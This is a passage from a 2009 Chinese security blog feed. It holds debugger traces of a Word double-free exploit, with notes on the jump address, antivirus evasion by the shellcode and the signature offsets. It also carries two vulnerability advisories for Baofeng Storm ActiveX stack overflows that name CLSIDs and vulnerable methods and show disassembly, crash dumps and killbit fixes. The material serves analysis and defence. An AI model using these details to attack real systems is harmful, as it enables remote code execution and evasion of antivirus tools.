0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0x2f4452
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0x2fb88a
00000000 00000000 00000000 00000000 00000000 winword+0x3ce45
0:000> g
Breakpoint 1 hit
eax=00000001 ebx=08b3b9f4 ecx=0012bc58 edx=7c92eb94 esi=00000000 edi=0012beb4
eip=30cb097f esp=0012bc80 ebp=0012bd98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!MsoReleaseMemCore:
30cb097f 57              push    edi
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bd98 00000000 0012f904 00000002 0e19ab00 mso!MsoReleaseMemCore
0:000> g
Breakpoint 1 hit
eax=00000001 ebx=00000000 ecx=08b3bad4 edx=7c92eb94 esi=00000001 edi=08b3bad4
eip=30cb097f esp=0012bc6c ebp=0012bc80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!MsoReleaseMemCore:
30cb097f 57              push    edi
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bc80 30038e74 00b80418 08b3bad4 00000000 mso!MsoReleaseMemCore
0012c0c8 3006df62 08b3bad4 00000116 00000000 winword+0x38e74
0012c0fc 3006e74c 00000116 000c0838 0012c128 winword+0x6df62
0012c138 3006e701 00b80398 00b80398 0cea08ca winword+0x6e74c
0012c170 30071151 00000001 00b80398 0cea08ca winword+0x6e701
0012c228 30073769 00b80398 00000000 00000000 winword+0×71151
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0×73769
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0x7250e
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0x6a9a0
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0x67b12
0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0x5b
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0×43
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 <Unloaded_ta.dll>+0x12c6d3
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0x5f
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0x1f
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0×13
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0x2f3fec
0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0x2f4452
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0x2fb88a
00000000 00000000 00000000 00000000 00000000 winword+0x3ce45
///////////////////////////////////////////////////////////////////////////////////////////////

覆盖后的
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> r ebp
ebp=6c030a01

注意doc便宜 BE8 位置上的内容
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000BE0   00 00 00 FF 34 D6 06 00  01 0A 03 6C C4 33 00 30   …4?….l?.0
00000BF0   00 00 06 00 00 16 24 01  49 66 01 00 00 00 00 05   ……$.If……
///////////////////////////////////////////////////////////////////////////////////////////////

往下走的时候
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> u
winword+0x33c4:
300033c4 55              push    ebp
300033c5 8bec            mov     ebp,esp
300033c7 833d74d2a83002  cmp     dword ptr [winword!wdGetApplicationObject+0x29c998 (30a8d274)],2
300033ce 0f855c903600    jne     winword!wdCommandDispatch+0x8c777 (3036c430)
300033d4 ff15bc130030    call    dword ptr [winword+0x13bc (300013bc)]
300033da 85c0            test    eax,eax
300033dc 7410            je      winword+0x33ee (300033ee)
300033de ff750c          push    dword ptr [ebp+0Ch]
0:000> u
winword+0x33e1:
300033e1 ff7508          push    dword ptr [ebp+8]
300033e4 50              push    eax
300033e5 e80d000000      call    winword+0x33f7 (300033f7)
300033ea 5d              pop     ebp
300033eb c20800          ret     8                          // 需要用到 ret 8 来协调
///////////////////////////////////////////////////////////////////////////////////////////////
接下来就是要的shellcode

总结如下：
利用 WORD 存在的 Double Free 实现覆盖, 然后通过300033eb地址上的通用调转来实现最终shellcode的执行。
shellocode 利用 异常机制来反杀毒软件对shellcode的检测。(其实我对 double free 是不明白的,望大牛路过指教下!)

AVP特征:
///////////////////////////////////////////////////////////////////////////////////////////////
0xb7e – 0xbf7

所在格式:

Border Code (BRC) -> sprmTTableBorders

sprmTTableBorders  0xd613  change tap.rgbrcTable  BRC[6] (see below)  variable length
sprmTTableBorders (opcode 0xD613) sets the tap.rgbrcTable. The sprm is interpreted
by moving the 48 bytes of the sprmBRCs) to tap.rgbrcTable.

avp不是这个格式来定位特征,应该是死偏移来解决的。
///////////////////////////////////////////////////////////////////////////////////////////////

支持大萝卜的 softrce~~

Comments

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

随机日志

]]> http://www.softrce.net/archives/213/feed 4 ActiveX 控件组件的Fuzz和利用 http://www.softrce.net/archives/136 http://www.softrce.net/archives/136#comments Thu, 14 May 2009 19:36:28 +0000 caterqiu http://www.softrce.net/archives/136 前几天暴风影音的那个0day也跟了下
当然以我技术，那肯定是没有跟出来了
这也注定，俺不适合搞技术

漏洞挖掘时一门严谨的科学，需要的知识经验太多了
最近也有一个朋友加我和我交流溢出程序的编写和利用

再说下Cater 不只是一个传说，请大哥们放过我吧。

郑重申明下
1、我已经该行做了水果渠道，工作已经不是搞IT的了
2、我也不是什么黑客，我没法和YingCracker这等牛比人
3、我不否认我在某人心中是个坏人，尽管我还没有伤害到她
4、我只用过Cater，caterqiu，老黄牛这些ID，我只是小打小闹搞了搞技术，我只是一个迷途小子。

丢出最后一篇技术的文章 纪念下，当年学习 ActiveX控件的漏洞Fuzz和漏洞利用学习的往事
希望错恋上 Cater 的朋友不联系搞坏事。

——————————————————————————–

2009年，我的目标是好好整理思绪和经历好好做事。

送上我的最后一篇有关技术的文档，来告别江湖上的三位大哥 K头、K少、老k

www.caterqiu.cn/UPLOAD/2009/5/ActiveX_And_Fuzz_Tutorial.By.Cater.Qiu.rar
PassWord:WwW.CaterQiu.Cn

From:CaterQiu’s Blog
Link:http://www.caterqiu.cn/Article/ActiveX_Fuzz_And_Tutorial_By_CaterQiu.html

Blog:WwW.CaterQiu.Cn
E-Mail:Cater.Qiu@Gmail.CoM
Date:May 15 ,2009

Comments

  • 2009年05月15日, robinh00d writes: 支持cater
  • 2009年05月15日, root writes: 人怕出名猪怕壮。 游戏该玩还得玩，换个方法玩就是了。
  • 2009年05月15日, cater writes: …我出毛毛名哦。 其实写点东西到处发发主要还是想让自己的心得被人分享呗 写的大多是简单的入门教程 哎，我想要月收入一万五，只可惜我不是什么美女YingCracker。
  • 2009年05月15日, robinh00d writes: 以前用过comraider~
  • 2009年05月15日, ayarei writes: @cater, 技术性美男吧，恩

Related posts:

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

相关阅读

]]> http://www.softrce.net/archives/136/feed 5 暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞 http://www.softrce.net/archives/100 http://www.softrce.net/archives/100#comments Thu, 30 Apr 2009 22:18:59 +0000 bugvuln http://www.softrce.net/?p=100 暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞
by bugvuln(bugvuln_at_gmail.com)
   niklen(niklenxyz_at_gmail.com)

描述:
暴风影音是国内一款相当流行的万能播放器
http://www.baofeng.com/

受影响的系统:
暴风影音2009 <=[3.09.04.17]

细节:
clsid:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05
C:\Program Files\StormII\Config.dll
Sub SetAttributeValue (
  ByVal lpQueryStr  As String ,
  ByVal bstrAttributeName  As String ,
  ByVal lpValueStr  As String
)

当参数lpQueryStr是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码

分析:

?View Code ASM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

.text:10009A4C                 push    ebp
.text:10009A4D                 mov     ebp, esp
.text:10009A4F                 sub     esp, 208h       ; 开辟208h的堆栈空间
.text:10009A55                 cmp     [ebp+Source], 0 ; 判断参数1是否为空
.text:10009A59                 jz      short loc_10009AA8
.text:10009A5B                 cmp     [ebp+arg_C], 0  ; 判断参数3是否为空
.text:10009A5F                 jz      short loc_10009AA8
.text:10009A61                 push    [ebp+Source]    ; 参数1
.text:10009A64                 lea     eax, [ebp+String]
.text:10009A6A                 push    eax             ; eax正好指向ebp-208h的堆栈区域
.text:10009A6B                 call    ds:wcscpy       ; oh，my god，不进行参数合法性检查，直接开始拷贝操作，
.text:10009A6B                                         ; 哦豁了，eax指向的堆栈区域全部被超长非法参数占领了-_-！
.text:10009A71                 pop     ecx
.text:10009A72                 lea     eax, [ebp+String]
.text:10009A78                 pop     ecx
.text:10009A79                 push    [ebp+arg_8]
.text:10009A7C                 push    offset String   ; "/@"
.text:10009A81                 push    offset aSS      ; "%s%s"
.text:10009A86                 push    eax             ; String
.text:10009A87                 call    ds:swprintf     ; 上面的拷贝直接影响到这里的swprintf,相当于再对eax指向的堆栈进行一次拷贝操作
             ; 没有上边的拷贝，这里也要出问题
.text:10009A8D                 add     esp, 10h
.text:10009A90                 lea     eax, [ebp+String]
.text:10009A96                 push    [ebp+arg_C]
.text:10009A99                 push    eax
.text:10009A9A                 call    sub_10001201
.text:10009A9F                 mov     ecx, eax
.text:10009AA1                 call    sub_1000CC9A
.text:10009AA6                 jmp     short locret_10009AAD
.text:10009AA8 ; ---------------------------------------------------------------------------
.text:10009AA8
.text:10009AA8 loc_10009AA8:                           ; CODE XREF: sub_10009A4C+Dj
.text:10009AA8                                         ; sub_10009A4C+13j
.text:10009AA8                 mov     eax, 80004005h
.text:10009AAD
.text:10009AAD locret_10009AAD:                        ; CODE XREF: sub_10009A4C+5Aj
.text:10009AAD                 leave
.text:10009AAE                 retn    10h        ; 就这样返回，哦豁了

ModLoad: 41f50000 41fc7000   C:\WINDOWS\system32\mshtmled.dll
ModLoad: 10000000 10020000   C:\Program Files\StormII\Config.dll
ModLoad: 63380000 633f8000   C:\WINDOWS\system32\jscript.dll
(eec.ee8): Illegal instruction – code c000001d (first chance)
(eec.ee8): Illegal instruction – code c000001d (!!! second chance !!!)
eax=80004005 ebx=100116b0 ecx=0175f998 edx=00030001 esi=0039fe98 edi=00000000
eip=00410061 esp=0175f5ec ebp=00410041 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Internet Explorer\IEXPLORE.EXE
IEXPLORE+0×10061:
00410061 ff              ???
解决办法:
在厂商没有推出相应的补丁之前，
建议用户通过注册表对相应的CLSID:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05设置Killbit
或者将以下文本保存为.REG文件并导入:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05}]
“Compatibility Flags”=dword:00000400

–EOF–

Comments

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

相关阅读

]]> http://www.softrce.net/archives/100/feed 4 暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞 http://www.softrce.net/archives/96 http://www.softrce.net/archives/96#comments Thu, 30 Apr 2009 22:15:51 +0000 bugvuln http://www.softrce.net/?p=96 暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞
by bugvuln(bugvuln_at_gmail.com)
   niklen(niklenxyz_at_gmail.com)

描述:
暴风影音是国内一款相当流行的万能播放器
http://www.baofeng.com/

受影响的系统:
暴风影音2009 <=[3.09.04.17]

细节:
clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB
C:\Program Files\StormII\mps.dll
Sub OnBeforeVideoDownload(ByVal URL  As String)

当参数URL是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码

分析:

sub_10014240
   |–.text:1001430A  call    sub_10014D40
   |–sub_10014D40
         |–.text:10014E37   call    dword ptr [eax+8] ; sub_1005DAF0
         |–sub_1005DAF0
               |–.text:1005DBA1  call    dword ptr [edx+4] ; sub_1005EB50
               |–sub_1005EB50
       |–.text:1005EB9A  call    sub_10060320
                     |–sub_10060320
                           |–.text:1006033C    call    ds:lstrcpynA
                     |     add     esp, 1348h
                     |–{ retn  14h

…

?View Code ASM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

.text:1005EB6F                 push    ebp
.text:1005EB70                 push    esi
.text:1005EB71                 mov     esi, [esp+1350h+lpString2]
.text:1005EB78                 push    edi
.text:1005EB79                 push    offset aStormbox_0 ; "stormbox"
.text:1005EB7E                 mov     ebp, ecx
.text:1005EB80                 push    esi             ; Str
.text:1005EB81                 call    ds:strstr       ;检查下传递进来的参数是否含有"stormbox"
.text:1005EB87                 add     esp, 8
.text:1005EB8A                 test    eax, eax
.text:1005EB8C                 jnz     loc_1005ED67    ;没有！那就xxoo了
.text:1005EB92                 push    esi             ; lpString2
.text:1005EB93                 lea     ecx, [esp+1358h+var_1034]
.text:1005EB9A                 call    sub_10060320
...
.text:10060320                 push    esi
.text:10060321                 push    edi
.text:10060322                 mov     edi, [esp+8+lpString2]
.text:10060326                 mov     esi, ecx
.text:10060328                 push    edi             ; lpString
.text:10060329                 mov     dword ptr [esi], offset off_1007C5A4
.text:1006032F                 call    ds:lstrlenA
.text:10060335                 inc     eax
.text:10060336                 push    eax             ; iMaxLength,唉，上面这是最后一次调用函数来进行长度检查，但是这里仅仅是为了这个最大值参数，
             ; 还是没有考虑合法性-_-
.text:10060337                 lea     eax, [esi+4]
.text:1006033A                 push    edi             ; lpString2
.text:1006033B                 push    eax             ; lpString1
.text:1006033C                 call    ds:lstrcpynA    ; 拷贝到eax指向的堆栈区域，为即将到来的溢出做热身运动
.text:10060342                 mov     eax, esi
.text:10060344                 pop     edi
.text:10060345                 pop     esi
.text:10060346                 retn    4
...
.text:1005ED70                 pop     edi
.text:1005ED71                 pop     esi
.text:1005ED72                 pop     ebp
.text:1005ED73                 mov     large fs:0, ecx
.text:1005ED7A                 add     esp, 1348h
.text:1005ED80                 retn    14h        ; 就这样返回，哦豁了

 
ModLoad: 41f50000 41fc7000   C:\WINDOWS\system32\mshtmled.dll
ModLoad: 10000000 100e2000   C:\Program Files\StormII\mps.dll
ModLoad: 75ff0000 76055000   C:\Program Files\StormII\MSVCP60.dll
ModLoad: 02c60000 02c96000   C:\Program Files\StormII\meedb.dll
ModLoad: 02ca0000 02d2e000   C:\Program Files\StormII\splayers.dll
ModLoad: 02730000 0274e000   C:\Program Files\StormII\rndrmgr.dll
ModLoad: 02d30000 02e48000   C:\Program Files\StormII\SubDecoder.dll
ModLoad: 4b640000 4b7e6000   C:\WINDOWS\system32\d3d9.dll
ModLoad: 6dd20000 6dd26000   C:\WINDOWS\system32\d3d8thk.dll
ModLoad: 736d0000 73719000   C:\WINDOWS\system32\DDRAW.dll
ModLoad: 73b30000 73b36000   C:\WINDOWS\system32\DCIMAN32.dll
ModLoad: 74be0000 74c0c000   C:\WINDOWS\system32\OLEACC.dll
ModLoad: 72f70000 72f96000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 76320000 76367000   C:\WINDOWS\system32\COMDLG32.dll
ModLoad: 02eb0000 02ed2000   C:\Program Files\StormII\mediainfo.dll
ModLoad: 719c0000 719fe000   C:\WINDOWS\system32\mswsock.dll
ModLoad: 60fd0000 61025000   C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a00000 71a08000   C:\WINDOWS\System32\wshtcpip.dll
ModLoad: 7cf70000 7d0d8000   C:\WINDOWS\system32\quartz.dll
ModLoad: 63380000 633f8000   C:\WINDOWS\system32\jscript.dll
(a0.8b0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffff00 ebx=01b3f33c ecx=41414141 edx=00142f90 esi=01b3f328 edi=01b3f340
eip=41414141 esp=0175f588 ebp=01b3f338 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210212
41414141 ??              ???
解决办法:
在厂商没有推出相应的补丁之前，
建议用户通过注册表对相应的CLSID:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB设置Killbit
或者将以下文本保存为.REG文件并导入:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
“Compatibility Flags”=dword:00000400

–EOF–

Comments

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

相关阅读

]]> http://www.softrce.net/archives/96/feed 1